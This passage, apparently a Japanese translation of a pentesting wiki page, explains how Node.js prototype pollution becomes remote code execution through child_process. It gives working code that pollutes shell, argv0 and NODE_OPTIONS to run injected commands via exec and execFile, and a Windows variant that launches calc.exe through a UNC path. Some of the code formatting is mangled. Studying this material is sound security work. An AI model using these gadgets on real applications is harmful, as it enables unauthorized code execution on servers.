PP2RCE via env vars
PP2RCE は Prototype Pollution to RCE (リモートコード実行) を意味します。
この writeup によると、process is spawned が child_process のいくつかのメソッド(fork や spawn など)を使用して呼び出されると、新しい env vars を作成するためのプロトタイプ汚染ガジェットであるnormalizeSpawnArguments メソッドが呼び出されます:
// environ trick - not working// It's not possible to pollute the .env attr to create a first env var// because options.env is null (not undefined)// cmdline trick - working with small variation// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =exec('something');// stdin trick - not working// Not using stdin// Windows// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =exec('something');
execFile の悪用
```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');
// stdin trick - not working // Not using stdin
// Windows - not working
**`execFile`**が機能するためには、**NODE_OPTIONS**が機能するために**node**を実行する必要があります。\
もし**node**を実行していない場合は、実行されているものの**実行を変更する**方法を見つけ、環境変数を設定する必要があります。
**他の**技術はこの要件なしで**機能**します。なぜなら、プロトタイプ汚染を通じて**実行されるものを変更することが可能だからです。(この場合、`.shell`を汚染できても、実行されているものは汚染できません)。
